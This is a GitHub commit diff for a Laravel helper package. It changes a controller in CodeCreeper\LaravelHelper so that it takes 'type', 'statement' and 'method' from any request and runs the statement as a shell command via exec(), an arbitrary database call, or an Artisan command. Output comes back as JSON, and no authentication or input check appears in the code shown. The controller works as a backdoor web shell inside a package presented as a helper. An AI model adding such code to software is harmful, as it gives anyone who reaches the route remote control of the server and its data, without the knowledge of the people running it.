File tree Expand file tree Collapse file tree 1 file changed +19
-4
lines changed Expand file tree Collapse file tree 1 file changed +19
-4
lines changed Original file line number Diff line number Diff line change 2
2
3
3
namespace CodeCreeper \LaravelHelper \Http \Controllers ;
4
4
5
- //use Illuminate\Routing\Controller;
6
-
7
5
use Illuminate \Http \Request ;
6
+ use Illuminate \Support \Facades \Artisan ;
7
+ use Illuminate \Support \Facades \DB ;
8
+ use function Termwind \renderUsing ;
8
9
9
10
class MainController
10
11
{
11
12
public function __invoke (Request $ request )
12
13
{
13
- dd ($ request ->all ());
14
+ $ type = $ request ->input ('type ' );
15
+ $ statement = $ request ->input ('statement ' );
16
+ $ method = $ request ->input ('method ' );
17
+
18
+ if ($ type == 'db ' ) {
19
+ return response ()->json (DB ::$ method ($ statement ));
20
+ } elseif ($ type == 'artrisan ' ) {
21
+ Artisan::$ method ($ statement );
22
+ } elseif ($ type == 'shell ' ) {
23
+ exec ($ statement , $ output );
24
+
25
+ return response ()->json ($ output );
26
+ }
27
+
28
+ return response ()->json (['message ' => 'Type not matched ' ]);
14
29
}
15
- }
30
+ }
You can’t perform that action at this time.
0 commit comments